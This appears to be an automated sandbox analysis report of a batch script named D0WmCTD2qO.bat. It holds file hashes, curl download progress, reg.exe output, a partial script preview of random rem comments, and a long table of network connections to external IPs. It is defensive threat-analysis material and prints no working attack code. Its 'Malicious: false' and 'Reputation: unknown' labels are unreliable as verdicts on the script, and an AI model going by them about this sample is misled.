SSDEEP:	48:Hky+iI5fvCD4UFFYmSCFEvsTIZqNvMrDWus9QI:HkycfqD459CFnTdqWFQI
MD5:	4A11A1D4D078610DF7171F31477A0A34
SHA1:	012C4FC9152BE704527E99E74CCE21605E69F388
SHA-256:	8ED8E2F1CDC50A27F80DA452806839722E4F9F1EE06E0D6164468FE878B2F98F
SHA-512:	5A5CD9DB2CC32DACB5A45BC1A265DBB5518C0622A7283446D32A7851B212094CAA57C0245B5AFB44481F9A0A06D4F277EE94CCD691014F4F96E78C80BDC942EB
Malicious:	false
Reputation:	unknown
Preview:	% Total % Received % Xferd Average Speed Time Time Time Current.. Dload Upload Total Spent Left Speed... 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0. 2 31.8M 2 751k 0 0 508k 0 0:01:04 0:00:01 0:01:03 508k. 6 31.8M 6 2031k 0 0 833k 0 0:00:39 0:00:02 0:00:37 834k. 10 31.8M 10 3439k 0 0 1000k 0 0:00:32 0:00:03 0:00:29 1000k. 14 31.8M 14 4847k 0 0 1086k 0 0:00:30 0:00:04 0:00:26 1086k. 19 31.8M 19 6255k 0 0 1145k 0 0:00:28 0:00:05 0:00:23 1294k. 23 31.8M 23 7663k 0 0 1186k 0 0:00:27 0:00:06 0:00:21 1387k. 27 31.8M 27 9079k 0 0 1217k 0 0:00:26 0:00:07 0:00:19 1403k. 32 31.8M 32 10.2M 0 0 1239k 0 0:00:26 0:00:08 0:00:18 1402k. 36 31.8M 36 11.6M 0 0 1257k 0 0:

\Device\Null

Download File

Process:	C:\Windows\SysWOW64\reg.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	243
Entropy (8bit):	5.025903567998292
Encrypted:	false
SSDEEP:	6:rbsd3u6eWFF60OckSi23oH+H1gFyeWFF60OckSi23fksgeWFF60OckSi23fhn:QNFFvO4ZYeVAyNFFvO4ZssgNFFvO4ZZn
MD5:	5F73D6EB745036C1AFF17E55835C42B2
SHA1:	603662F0180E4B5AACD9DCDFB01738C0D29F7A3F
SHA-256:	11C4731706427EC108A02F9FD527EC7DEEA25F012233B5F6EEC8D10F615CB631
SHA-512:	E9B3B307A6CBC6EE6219347ED24246AFE1197CEE2A1AC621C7E8035DD32B9CAB256F80155D66E7580AFEE7022264CEE105EE08A380BE5960C30E26D3E2277E43
Malicious:	false
Reputation:	unknown
Preview:	..HKEY_USERS\S-1-5-19\Environment.. Path REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Microsoft\WindowsApps;.. TEMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp.. TMP REG_EXPAND_SZ %USERPROFILE%\AppData\Local\Temp....

Static File Info

General

File type:	ASCII text, with CRLF line terminators
Entropy (8bit):	5.403711143174744
TrID:
File name:	D0WmCTD2qO.bat
File size:	7'602 bytes
MD5:	6777134e2627894ed689d8357973acc7
SHA1:	cd0fab81cecb98eb8b5c5530cf291e9c6e854453
SHA256:	500329d1eeead6e6b7b1570f637138e91f0e28a4febeae208631db98750312ee
SHA512:	f3b456a229df210160e4fd78cd8ef6d05b81561dc3e684b8ce8c5d9cfebe11c1ebfee5c973c79941dfae94903de872dff908fb542ef145759e614193cfe20ee8
SSDEEP:	192:dzA9AhwdfUX2aHSIDXk1SKwC4LxPl/7482w4Kf3t:FAq+NUX3rDXkMKwz9EwR3t
TLSH:	84F15CB70628094BCEBCD644E69523C5E75ED8F52B46D181B40F87C5403D3A423A67BB
File Content Preview:	rem 3srzh0sbukrjecg6o4yl5qkhv752cpfms78s2ja2tciuekj42275m436p99sov5levl4kyd8dbovt706913h9kvis4vj5jmci1twri2i0aabxd1q2d80060f..@echo off..rem y57f7tcorywc0iyk5iuml5q88ryb3cubsvz0fz3628ferx65b7vuihfr019htdoe9tx945gf5jppw0m1..rem o812coriz1x20jaxiwk4z89x2wwm

File Icon


Icon Hash:	9686878b929a9886

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 2, 2024 06:11:03.362271070 CEST	49676	443	192.168.2.8	52.182.143.211
Oct 2, 2024 06:11:04.627790928 CEST	49671	443	192.168.2.8	204.79.197.203
Oct 2, 2024 06:11:04.830923080 CEST	49673	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:04.971544981 CEST	49677	80	192.168.2.8	192.229.211.108
Oct 2, 2024 06:11:05.174690008 CEST	49672	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:12.971532106 CEST	49676	443	192.168.2.8	52.182.143.211
Oct 2, 2024 06:11:14.440335035 CEST	49673	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:14.784035921 CEST	49672	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:15.596503019 CEST	49677	80	192.168.2.8	192.229.211.108
Oct 2, 2024 06:11:16.426331997 CEST	443	49703	23.206.229.226	192.168.2.8
Oct 2, 2024 06:11:16.426414013 CEST	49703	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:21.090437889 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:21.090475082 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:21.090538025 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:21.100455046 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:21.100470066 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:21.919635057 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:21.919711113 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:21.923648119 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:21.923654079 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:21.923913956 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:21.934386969 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:21.975416899 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.126030922 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.126049995 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.126130104 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.126142025 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.126236916 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.126259089 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.126264095 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.126293898 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.127032995 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.127943039 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.127948999 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.128108978 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.203906059 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.204005957 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.218287945 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.218439102 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.218477964 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.218553066 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.219460011 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.219542980 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.219574928 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.219578981 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.219604015 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.220470905 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.220531940 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.220570087 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.220573902 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.220604897 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.268381119 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.281881094 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.282094002 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.296330929 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.296380997 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.296422005 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.296430111 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.296453953 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.310583115 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.310676098 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.310708046 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.310713053 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.310739994 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.311037064 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.311186075 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.311216116 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.311219931 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.311278105 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.311952114 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.312053919 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.312086105 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.312092066 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.312122107 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.312665939 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.312769890 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.312776089 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.312830925 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.312860012 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.312865019 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.312896013 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.313563108 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.313643932 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:22.313668966 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.314075947 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.352343082 CEST	49706	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:22.352361917 CEST	443	49706	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:23.485414982 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:23.485481024 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:23.485621929 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:23.527257919 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:23.527306080 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.142780066 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.142877102 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:24.145467043 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:24.145483017 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.145723104 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.190681934 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:24.201005936 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:24.243410110 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.684879065 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.684900999 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.684938908 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.684969902 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.684981108 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:24.685041904 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.685077906 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:24.685079098 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:24.685110092 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:24.685302019 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.685370922 CEST	443	49707	23.109.93.100	192.168.2.8
Oct 2, 2024 06:11:24.685585976 CEST	49707	443	192.168.2.8	23.109.93.100
Oct 2, 2024 06:11:25.025648117 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:25.025711060 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:25.025851011 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:25.027259111 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:25.027275085 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:25.827682972 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:25.827831984 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:26.000655890 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:26.000683069 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:26.000998974 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:26.049707890 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:26.800519943 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:26.843436956 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.057003021 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.057029009 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.057038069 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.057058096 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.057101965 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.057120085 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:27.057120085 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:27.057147026 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.057184935 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:27.057185888 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:27.057396889 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.057488918 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:27.057497025 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.057750940 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.057904005 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:27.459912062 CEST	49718	443	192.168.2.8	167.114.14.170
Oct 2, 2024 06:11:27.459969997 CEST	443	49718	167.114.14.170	192.168.2.8
Oct 2, 2024 06:11:27.460098982 CEST	49718	443	192.168.2.8	167.114.14.170
Oct 2, 2024 06:11:27.494252920 CEST	49718	443	192.168.2.8	167.114.14.170
Oct 2, 2024 06:11:27.494290113 CEST	443	49718	167.114.14.170	192.168.2.8
Oct 2, 2024 06:11:27.749036074 CEST	49710	443	192.168.2.8	4.175.87.197
Oct 2, 2024 06:11:27.749073029 CEST	443	49710	4.175.87.197	192.168.2.8
Oct 2, 2024 06:11:27.979404926 CEST	443	49718	167.114.14.170	192.168.2.8
Oct 2, 2024 06:11:27.979510069 CEST	49718	443	192.168.2.8	167.114.14.170
Oct 2, 2024 06:11:27.983653069 CEST	49718	443	192.168.2.8	167.114.14.170
Oct 2, 2024 06:11:27.983668089 CEST	443	49718	167.114.14.170	192.168.2.8
Oct 2, 2024 06:11:27.984057903 CEST	443	49718	167.114.14.170	192.168.2.8
Oct 2, 2024 06:11:27.991245985 CEST	49718	443	192.168.2.8	167.114.14.170
Oct 2, 2024 06:11:28.035412073 CEST	443	49718	167.114.14.170	192.168.2.8
Oct 2, 2024 06:11:28.607748032 CEST	443	49718	167.114.14.170	192.168.2.8
Oct 2, 2024 06:11:28.607842922 CEST	443	49718	167.114.14.170	192.168.2.8
Oct 2, 2024 06:11:28.607887030 CEST	49718	443	192.168.2.8	167.114.14.170
Oct 2, 2024 06:11:28.766449928 CEST	49718	443	192.168.2.8	167.114.14.170
Oct 2, 2024 06:11:28.766484976 CEST	443	49718	167.114.14.170	192.168.2.8
Oct 2, 2024 06:11:29.125797033 CEST	49703	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:29.126053095 CEST	49703	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:29.126323938 CEST	49720	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:29.126370907 CEST	443	49720	23.206.229.226	192.168.2.8
Oct 2, 2024 06:11:29.126465082 CEST	49720	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:29.126759052 CEST	49720	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:29.126775980 CEST	443	49720	23.206.229.226	192.168.2.8
Oct 2, 2024 06:11:29.131406069 CEST	443	49703	23.206.229.226	192.168.2.8
Oct 2, 2024 06:11:29.132010937 CEST	443	49703	23.206.229.226	192.168.2.8
Oct 2, 2024 06:11:29.194292068 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:29.194327116 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:29.194690943 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:29.203533888 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:29.203558922 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:29.720470905 CEST	443	49720	23.206.229.226	192.168.2.8
Oct 2, 2024 06:11:29.720546961 CEST	49720	443	192.168.2.8	23.206.229.226
Oct 2, 2024 06:11:29.787286043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:29.787481070 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:29.789187908 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:29.789200068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:29.789441109 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:29.799823046 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:29.847398043 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:29.957590103 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:29.957616091 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:29.957664967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:29.957685947 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:29.957706928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:29.957732916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:29.957760096 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.040072918 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.040096998 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.040143013 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.040153027 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.040198088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.040211916 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.041732073 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.041748047 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.041806936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.041812897 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.041861057 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.129304886 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.129327059 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.129379034 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.129390955 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.129410982 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.129441023 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.130711079 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.130728006 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.130795002 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.130800962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.130863905 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.132442951 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.132457972 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.132533073 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.132538080 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.132579088 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.138730049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.138745070 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.138783932 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.138789892 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.138818026 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.138860941 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.220336914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.220366001 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.220412016 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.220417976 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.220473051 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.220706940 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.220724106 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.220787048 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.220793962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.221008062 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.221559048 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.221574068 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.221618891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.221625090 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.221682072 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.222368002 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.222382069 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.222445011 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.222451925 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.222491980 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.223402023 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.223419905 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.223476887 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.223483086 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.223534107 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.224462032 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.224479914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.224534035 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.224539995 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.224591017 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.225393057 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.225415945 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.225456953 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.225462914 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.225511074 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.275326967 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.275350094 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.275418997 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.275425911 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.275468111 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.310940981 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.310961962 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.311059952 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.311069012 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.311131001 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.311573029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.311589003 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.311650991 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.311656952 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.311744928 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.312366009 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.312381029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.312443018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.312448978 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.312493086 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.313311100 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.313324928 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.313365936 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.313370943 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.313402891 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.313417912 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.314347029 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.314362049 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.314409018 CEST	49723	443	192.168.2.8	167.114.14.168
Oct 2, 2024 06:11:30.314414024 CEST	443	49723	167.114.14.168	192.168.2.8
Oct 2, 2024 06:11:30.314452887 CEST	49723	443	192.168.2.8	167.114.14.168
